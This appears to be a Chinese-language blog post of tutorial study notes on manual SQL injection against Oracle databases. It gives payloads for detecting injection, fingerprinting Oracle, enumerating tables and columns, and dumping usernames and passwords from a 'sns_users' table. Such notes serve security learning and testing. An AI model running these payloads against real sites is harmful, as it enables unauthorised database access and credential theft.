某教程学习笔记(一):10、oracle数据库注入

简介: 某教程学习笔记(一):10、oracle数据库注入

一、Oracle数据库


一般大型企业都会用到,物流、旅游、航空、银行等等。。。


1、支持多用户、大事务量的处理


2、数据安全性和完整性的有效控制


3、支持分布式数据处理


4、移植性强


二、手动注入


1、判断是否存在


and 1=1 返回正常


and 1=2 返回错误

0a2653c851af460fa595bd959398a8f1.png


2、判断是否是Oracle数据库


and exists(select * from dual)


and exists(select * from user_tables)


返回正常说明是oracle


3、判断数列


order by 2 返回正常,说明有两列


4、联合查询


union select null,null from dual,这里不能写1,2 需要用null替换,然后将每个null用数字和字符替换一下,发现数字就报错,字符不报错


union select 1,null from dual 报错


union select null,1 from dual 报错


union select ‘null’,‘null’ from dual 返回如下界面,这时就可以用下面的查询语句了


5、获取数据库版本


(select banner from sys.v_$Version where rownum=1)

0a2653c851af460fa595bd959398a8f1.png


6、获取连接数据库的当前用户


(select SYS_CONTEXT(‘USERENV’,‘CURRENT_USER’)from dual)

0eacb84100b54626af849e6b562bf92a.png


7、获取数据库


(select instance_name from v$instance) 获取当前数据库

2d65d23f6d4748949b924e4057485923.png


(select owner from all_tables where rownum=1)获取第一个数据库

2e9b90b2ca334476abebe75bafe6eeaa.png


(select owner from all_tables where rownum=1 and owner<>‘SYS’)获取第二个数据库


8、获取表名


(select table_name from user_tables where rownum=1 and table_name like ‘%users%’) from dual

0a2653c851af460fa595bd959398a8f1.png


10、获取列名


(select column_name from user_tab_columns where table_name=‘sns_users’ and rownum=1)

0eacb84100b54626af849e6b562bf92a.png


11、获取第二列名


(select column_name from user_tab_columns where table_name=‘sns_users’ and rownum=1 and column_name<>‘USER_NAME’)


12、获取字段内容


id=1 and 1=2 union select USER_NAME,USER_PWD from “sns_users”

2d65d23f6d4748949b924e4057485923.png

union select USER_NAME,USER_PWD from “sns_users” where USER_NAME<>‘hu’ 获取第二个用户信息


禁止非法,后果自负

目录
相关文章
|
27天前
|
存储 Oracle 关系型数据库
Oracle数据库的应用场景有哪些?
【10月更文挑战第15天】Oracle数据库的应用场景有哪些?
151 64
|
1月前
|
存储 SQL 关系型数据库
Mysql学习笔记(二):数据库命令行代码总结
这篇文章是关于MySQL数据库命令行操作的总结,包括登录、退出、查看时间与版本、数据库和数据表的基本操作(如创建、删除、查看)、数据的增删改查等。它还涉及了如何通过SQL语句进行条件查询、模糊查询、范围查询和限制查询,以及如何进行表结构的修改。这些内容对于初学者来说非常实用,是学习MySQL数据库管理的基础。
124 6
|
17天前
|
SQL Oracle 关系型数据库
Oracle数据库优化方法
【10月更文挑战第25天】Oracle数据库优化方法
25 7
|
17天前
|
Oracle 关系型数据库 数据库
oracle数据库技巧
【10月更文挑战第25天】oracle数据库技巧
21 6
|
17天前
|
存储 Oracle 关系型数据库
Oracle数据库优化策略
【10月更文挑战第25天】Oracle数据库优化策略
17 5
|
24天前
|
存储 Oracle 关系型数据库
数据库数据恢复—Oracle ASM磁盘组故障数据恢复案例
Oracle数据库数据恢复环境&故障: Oracle ASM磁盘组由4块磁盘组成。Oracle ASM磁盘组掉线 ,ASM实例不能mount。 Oracle数据库故障分析&恢复方案: 数据库数据恢复工程师对组成ASM磁盘组的磁盘进行分析。对ASM元数据进行分析发现ASM存储元数据损坏,导致磁盘组无法挂载。
|
26天前
|
监控 Oracle 关系型数据库
Oracle数据库性能优化
【10月更文挑战第16天】Oracle数据库性能优化是
25 1
|
28天前
|
存储 SQL 关系型数据库
【入门级教程】MySQL:从零开始的数据库之旅
本教程面向零基础用户,采用通俗易懂的语言和丰富的示例,帮助你快速掌握MySQL的基础知识和操作技巧。内容涵盖SQL语言基础(SELECT、INSERT、UPDATE、DELETE等常用语句)、使用索引提高查询效率、存储过程等。适合学生、开发者及数据库爱好者。
40 0
【入门级教程】MySQL:从零开始的数据库之旅
|
30天前
|
Oracle 关系型数据库 网络安全
Oracle 19c 安装教程学习
Oracle 19c 安装教程学习
54 2
|
30天前
|
SQL NoSQL MongoDB
一款基于分布式文件存储的数据库MongoDB的介绍及基本使用教程
一款基于分布式文件存储的数据库MongoDB的介绍及基本使用教程
41 0

推荐镜像

更多